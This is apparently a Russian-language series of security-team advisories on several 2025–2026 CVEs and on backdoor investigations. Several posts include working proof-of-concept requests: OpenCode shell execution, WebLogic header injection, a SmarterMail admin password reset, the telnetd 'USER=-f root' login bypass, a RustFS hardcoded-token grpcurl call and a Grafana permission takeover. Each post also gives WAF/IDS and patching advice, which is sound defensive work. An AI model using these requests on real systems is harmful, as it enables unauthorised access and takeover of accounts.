Уязвимость CVE-2026–22812 в OpenCode

CVE-2026-22812 — уязвимость удаленного выполнения кода в OpenCode.

🫡 Метрики

Base Score: 8.8 HIGH
CWE: CWE – 306, CWE – 749, CWE – 942

🫡 Подробнее об уязвимости
OpenCode автоматически запускает локальный HTTP-сервер без какой-либо аутентификации. Сервер позволяет отправлять запросы, которые исполняют shell-команды от имени пользователя, запустившем OpenCode.

Из-за слишком разрешительных настроек CORS-сервер может быть доступен даже с веб-страницы — это расширяет вектор атаки далеко за пределы локальных приложений.

🫡 Уязвимые конечные точки
/session/{ID}/shell — выполнение shell-команд;
/pty — создание интерактивных терминальных сессий;
/file/content — чтение произвольного файла.

🫡 Цепочка атаки
Отправка POST-запроса на /session — получение сессии. Пример ответа:

{"id":"ses_42b13a22bffech8bpcpa6bpZO4","version":"1.0.215","projectID":"global","directory":"/workspaces","title":"New session - 2026-01-19T06:23:38.964Z","time":{"created":1768803818964,"updated":1768803818964}}

Далее сессия, в нашем случае ses_42b13a22bffech8bpcpa6bpZO4, используется для shell-команд:

POST /session/ses_42b13a22bffech8bpcpa6bpZO4/shell HTTP/1.1
Host: localhost:4096
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 41
{"agent": "build", "command": "id"}

🫡 Как защититься
1) Обновиться.
2) Если быстрое обновление невозможно, то блокировать запросы на уязвимые конечные точки из внешних систем, например, правилами WAF/IDS.

ShadowRelay — модульный бэкдор в госсекторе

В 2025 году мы расследовали атаку на организацию из госсектора и всего в одной инфраструктуре нашли много интересного от разных группировок:

🫡 оригинальный ShadowPad;
🫡 Shadowpad Light (Erudite Mogwai);
🫡 Donnect (Obstinate Mogwai);
🫡 Mythic Agent (GOFFEE).

Но среди этого знакомого зоопарка было и нечто новенькое.

Модульный бэкдор позволяет атакующим скрытно подгружать плагины, которые реализуют необходимую функциональность в конкретной атаке. Также бэкдор может поддерживать связь с другими имплантами, которые, например, не имеют подключения к интернету.

Бэкдор появился в атакованной инфраструктуре приблизительно с группировкой Obstinate Mogwai. Для надежной атрибуции этого маловато, поэтому личности операторов вредоноса пока под вопросом. А вот его устройство и механизмы действия мы разобрали в нашей новой статье.

Критическая уязвимость в Oracle-Fusion-Middleware CVE-2026-21962

CVE-2026-21962 — уязвимость удаленного выполнения кода (RCE) в Oracle Fusion Middleware, которые используют Oracle HTTP Server и плагин WebLogic Server Proxy для переадресации веб-трафика на серверы бэкенд-приложений. Уязвимость затрагивает Oracle HTTP Server и плагин WebLogic Server Proxy для Apache HTTP Server и IIS в версиях 12.2.1.4.0, 14.1.1.0.0 и 14.1.2.0.0 (для IIS-версии плагина — только 12.2.1.4.0).

👍 Метрики

Base Score: 10.0 CRITICAL
CWE: CWE-284

👍 Сканирование и эксплуатация
Кроме сканеров уязвимых версий в публичном пространстве появляются скрипты с попытками эксплуатации. Вот что информативного можно выделить в этих эксплоитах.

Уязвимые конечные точки:

"/weblogic/",
"/wl_proxy/",
"/bea_wls_internal/",
"/_proxy/",
"/proxy/"

Специфические URL:

/weblogic/..;/bea_wls_internal/ProxyServlet

Заголовки:

"WL-Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"X-Forwarded-For": f"127.0.0.1;{encoded_payload}",

encoded_payload — закодированная в base64 shell-команда.

Пример запроса:

GET /weblogic/weblogic/..;/bea_wls_internal/ProxyServlet HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (compatible; Exploit/1.0)
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
WL-Proxy-Client-IP: 127.0.0.1;Y21kOmlk
X-Forwarded-For: 127.0.0.1;Y21kOmlk

👍 Как происходит сканирование
Отправляется запрос на {конечная точка}/weblogic/..;/bea_wls_internal/ProxyServlet. Если сервер отвечает статус-кодом 200, то запрос отправляется на эту же конечную точку с установленными заголовками.

👍 Как защититься
Для детектирования подобных сканеров можно написать правило на WAF/IDS , блокирующее GET/POST-запросы на уязвимые конечные точки, в URL которых передаются попытки выхода за пределы каталога ../ ..; а в заголовках — строка с кодировкой base64.

Опять админ пароль сменил

CVE-2026-23760 — критическая уязвимость, которая позволяет сбросить пароль администратора. Действует в SmarterMail в версиях до 9511.

👽 Метрики

Base Score: 9,3
CWE: CWE-288

👽 Подробнее об уязвимости
Она находится в конечной точке /api/v1/auth/force-reset-password, на которую можно отправить подготовленный POST-запрос, в котором Json-тело будет в следующем формате:

{"IsSysAdmin":"true",
"OldPassword":"ItIsWrongNumber",
"Username":"NameAdmin",
"NewPassword":"ImAdmin1337!",
"ConfirmPassword": "ImAdmin1337!"}

✅ IsSysAdmin — Bool-переменная. Значение true отвечает за сброс пароля администратора, false — за сброс пароля обычного пользователя.

✅ OldPassword — переменная, значение которой не проверяется.

✅ Username — имя администратора. Оно должно реально существовать.

db_system_administrator_readonly db_system_administrator_readonly = SystemRepository.Instance.AdministratorGetByUsername(inputs.Username);

✅ NewPassword и ConfirmPassword — новый пароль и его подтверждение.

Уточнение: присутствует проверка старого пароля у обычных пользователей, IsSysAdmin: false.

В патч добавили проверку старого пароля администратора:

if (!db_system_administrator_readonly.ValidatePassword(inputs.OldPassword, null))

Важно: уязвимость усугубляет возможность выполнения RCE при создании нового тома через Volume Mount Command.
1) Зайдите в настройки — Volume Mounts.
2) Создайте new volume.
3) Введите произвольную команду в поле Volume Mount.

👽 Как защищаться
1) Обновляться.
2) Блокировать запросы из внешних сетей на /api/v1/auth/force-reset-password со значением IsSysAdmin: true.
3) Проверять логи обращений к /api/v1/auth/force-reset-password от внешних сетей.

Telnetd открыт для всех. Критическая уязвимость CVE-2026-24061

CVE-2026-24061 — критическая уязвимость типа Argument Injection в демоне Telnetd из набора GNU Inetutils. Уязвимый код находится в компонентах Telnetd в версиях от 1.9.3 до 2.7 включительно.

🫡 Метрики

Base Score: 9.8 Critical
CWE: 88

🫡 Суть уязвимости
В Telnetd переменная окружения USER нужна для предварительного заполнения имени пользователя при аутентификации. -f — это один из флагов в исполняемом файле /usr/bin/login, который позволяет пропустить интерактивную аутентификацию.

Если для переменной USER установить значение -f root и опцию автологина -a, то Telnetd передаст -f root в исполняемый файл /usr/bin/login. Это заставит команду login пропустить аутентификацию и позволит залогиниться как под root, так и под учетную запись любого другого пользователя.

Кстати: можно изменить значения других переменных окружения Telnetd. Пример — мы изменили значение переменной окружения TERM командой:

USER="-f root" TERM="hello" telnet -a 127.0.0.1 2323

🫡 Последовательность атаки
1) Злоумышленник подключается к серверу Telnet.

2) При инициации аутентификации клиент Telnet устанавливает для переменной окружения USER значение -f root.

3) Telnetd получает запрос Suboption New Environment Option и передает значение USER (то есть -f root) как аргумент для /usr/bin/login, где параметр -f позволяет пропустить проверку пароля и осуществляет вход под пользователем root.

4) Клиент получает интерактивную оболочку root на сервере.

😬 Как защититься
1) Обновиться до версии GNU Inetutils 2.7-2 и позднее.
2) Если Telnet не нужен, то сервис Telnetd нужно деактивировать.
3) Создать правило IDS на Telnet-соединения, чтобы отслеживать опции New Environment с переменной USER=-f root.

Критическая уязвимость CVE-2025-68926 в RustFS

RustFS — это высокопроизводительная распределенная система хранения объектов на языке Rust. В версиях до 1.0.0-alpha.78 нашли жестко закодированный токен доступа, который позволяет подключиться к сетевому сервису по протоколу gRPC, полностью обойти аутентификацию и получить права администратора.

👍 Метрики

Base Score: CVSS 9.8 Critical
CWE: 287, 798

👍 Детали уязвимости
В уязвимых версиях RustFS механизм gRPC-аутентификации построен на жестко зашитом токене rustfs rpc. При этом в нем нет механизма конфигурации, токен в публичном доступе и применяется во всех развертываниях RustFS. На стороне сервера в функции проверки аутентификации токен сравнивается с этим литеральным значением:

fn check_auth(req: Request<()>) -> std::result::Result<Request<()>, Status> {
    let token: MetadataValue<_> = "rustfs rpc".parse().unwrap();

    match req.metadata().get("authorization") {
        Some(t) if token == t => Ok(req),
        _ => Err(Status::unauthenticated("No valid auth token")),
    }
}

Со стороны клиента такой же токен жестко зашит в перехватчике gRPC-запросов:

pub async fn node_service_time_out_client(
    addr: &String,
) -> Result<
    NodeServiceClient<...>,
    Box<dyn Error>,
> {
    let token: MetadataValue<_> = "rustfs rpc".parse()?;

    // ...

    Ok(NodeServiceClient::with_interceptor(
        channel,
        Box::new(move |mut req: Request<()>| {
            req.metadata_mut().insert("authorization", token.clone());
            Ok(req)
        }),
    ))
}

RustFS запускает гибридный HTTP+gRPC сервис (по умолчанию на порту TCP 9000), и любой атакующий с сетевым доступом к gRPC-порту RustFS может отправить запросы с заголовком authorization: rustfs rpc и полностью обойти аутентификацию. Например, мы отправили такой grpcurl-запрос:

grpcurl -plaintext \                                       
  -H 'authorization: rustfs rpc' \                    
  -import-path crates/protos/src \
  -proto node.proto \                                         
  127.0.0.1:9001 node_service.NodeService/ServerInfo

В ответ получили:

{
  "success": true,
  "serverProperties": "<base64>"
}

где base64-строка содержит ServerInfo с конфиденциальными данными.

Злоумышленнику доступны более 50 методов NodeService, с помощью которых он может выполнить любые операции с данными и конфигурацией RustFS.

👍 Как защититься
1) Перейти на версию >= 1.0.0-alpha.78, где токен больше не используется.
2) Ограничить внешний сетевой доступ к gRPC-порту.

Почему у моего дашборда новый админ ?

CVE-2026-21721 — уязвимость небезопасного управления привилегиями в дашбордах Grafana.

Исправления:
>=12.3.0 <12.3.1+security-01
>=12.2.0 <12.2.3+security-01
>=12.1.0 <12.1.5+security-01
>=12.0.0 <12.0.8+security-01
>=10.2.0 <11.6.9+security-01

😬 Метрики

Base Score: 8.1 HIGH
CWE: CWE-269
BDU:2026-01120

😬 Об уязвимости
API отвечает за изменение разрешений дашбордов Grafana. И он не проверяет корректный контекст целевой панели — он лишь смотрит, есть ли у пользователя базовое право на управление разрешениями. В результате если у пользователя есть право управлять разрешениями хотя бы одном дашборде, то он может изменить разрешения других дашбордов, к которым вообще не должен иметь доступ.

Уязвимая конечная точка: /api/dashboards/uid/<uid>/permissions
Для примера можно отправить такой запрос:

POST /api/dashboards/uid/bfc7vbecejl6oc/permissions HTTP/1.1
Host: 192.168.177.165:3000
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: grafana_session=9bbdffb57037d16704c7a299470b6ba4; grafana_session_expiry=1770202645
Content-Length: 44
Content-Type: application/json

{"items": [ {"userId": 2, "permission": 4}]}

Этот запрос удалит все доступные роли и всех пользователей, кроме пользователя userId: 2. Для него запрос установит права администратора в дашборде с uid: bfc7vbecejl6oc

😬 Как защититься
1) Обновиться.
2) Провести мониторинг прав пользователей в созданных дашбордах.
3) Если быстро обновиться невозможно, то лучше временно ограничить доступ к API /api/dashboards/uid/<uid>/permissions для POST-запросов. Для этого используйте правила WAF/IDS.

NGC3181: как закрепиться в базе данных, не привлекая внимания 💣

Процесс командной строки от модуля TrueConf Server? Давайте разбираться.

Летом прошлого года при расследовании одного из инцидентов мы обнаружили бэкдор в базе данных TrueConf Server, который не был связан с какой либо уязвимостью программы. Началось все со странных запросов на аутентификацию и запуска консоли с помощью одного из модулей программы для ВКС. А закончилось ретроспективным анализом инфраструктуры заказчика.

В новой статье вы узнаете:

☀️ как атакующие закрепились в базе данных TrueConf Server;
☀️ при чем здесь веб-шеллы и запросы на аутентификацию;
☀️ как долго можно сохранять доступ к инфраструктуре жертвы с таким способом закрепления.

Выделенный нами кластер получил название NGC3181 и активен с 2024 года.

Уже в нашем блоге.

Невидимые пользователи в Registry Explorer и ReCmd

Пост для тех, кто пользуется утилитами Эрика Циммермана для ручного просмотра или автоматизированной обработки локальных пользователей Windows.

Вы могли не увидеть часть локальных пользователей из-за бага обработки значений из файла SAM.

Суть бага 💡

У default-значений разделов SAM\Domains\Account\Users\Names\* RID пользователей хранится в той же структуре, в которой обычно хранится тип значения ключа (такие как REG_DWORD, REG_SZ и подобные). Например, у стандартного локального администратора вы можете увидеть тип значения 0x1F4, что соответствует RID 500.

В основной библиотеке Циммермана для работы с реестром, которая была опубликована в GitHub еще в 2014 году, тип значения считывается как 12-битное число и записывается в переменную DataTypeRaw.

Примерно в 2017 году в GitHub появился плагин для обработки SAM, где RID пользователя напрямую берется из переменной DataTypeRaw.

При этом если RID будет больше, чем 4095 (максимальное значение беззнакового 12-битного числа), то логика плагина SAM ломается и пользователь пропадает из вывода утилит Registry Explorer и ReCmd.

Баг существовал в утилитах с момента их публикации.

Не всё так ужасно:

1️⃣ В интерфейсе Registry Explorer или в логе ReCmd вы могли увидеть предупреждение, что плагин SAM отработал с ошибками. И обратить внимание, что на самом деле разделов пользователей больше, чем доступно в выводе утилит.

2️⃣ Баг возникает только если в системе, с которой вы анализируете SAM, исторически было создано более 3095 локальных пользователей (RID начинается с 1001). В обычных условиях это нереалистично.

Вероятнее, вы не сталкивались с этой проблемой, но есть реальный шанс пропустить учетную запись.

😀 Не так давно к нам на анализ попала система, где в результате работы различных самописных скриптов для автоматизации процессов периодически создавались и удалялись локальные учетные записи. Это привело к тому, что недавно созданные учетные записи получали всё более высокое значение RID. Когда атакующие получили доступ к системе, они выполнили создание локальной учетной записи администратора, которая получила RID с пятизначным числом.

Следствие — плагин SAM из Registry Explorer не отобразил учетную запись злоумышленника.

😬 Мы связались с разработчиком и баг уже исправили в новейшей версии плагина SAM от 08.02.2026, поэтому обновитесь в ближайшее время.

Опять $какой-то DDoS

CVE-2026-23864 — уязвимость, которая приводит к отказу в обслуживании из-за большого потребления памяти и чрезмерному использованию центрального процессора в React Server Components.

Уязвимость присутствует в версиях 19.0.0, 19.0.1, 19.0.2, 19.0.3, 19.1.0, 19.1.1, 19.1.2, 19.1.3, 19.1.4, 19.2.0, 19.2.1, 19.2.2, 19.2.3 пакетов:
— react-server-dom-webpack,
— react-server-dom-parcel,
— react-server-dom-turbopack.

🫡 Метрики

Base Score: 7.5 HIGH
CWE: CWE-400, CWE-502

🫡 Об уязвимости
Когда сервер React получает запрос multipart/form-data, он должен декодировать ответ (reply) с помощью функции вроде decodeReplyFromBusboy или decodeReply. Для обработки используется внутренний механизм разборки значений модели, в частности конструкции вида $K<id> (токен).

1️⃣ Парсер создаёт новый объект FormData для каждого токена $K<id>.
2️⃣ Для каждого такого токена он полностью сканирует исходный объект FormData.
3️⃣ Чем больше таких токенов в запросе, тем больше операций копирования и выделения памяти происходит одновременно.
4️⃣ Для эксплуатации уязвимости необходим серверный компонент, который принимает и декодирует тело запроса.

🫡 Пример
Для моделирования уязвимости используем подобную конструкцию:

const root = await decodeReply(formData, {}, {});

formData — ввод пользователя.
decodeReply — уязвимая функция из react-server-dom-webpack.

Отправим две идентичных нагрузки, только в одной будет массив токенов $K<id>, а во второй просто массив Kx. Результаты на скриншоте.

🫡 Как защититься
1) Обновить все уязвимые компоненты.
2) Написать правило на WAF/IDS, которое будет детектировать токены $K<id> в теле запроса на уязвимый серверный компонент или ограничивать общую длину тела запроса.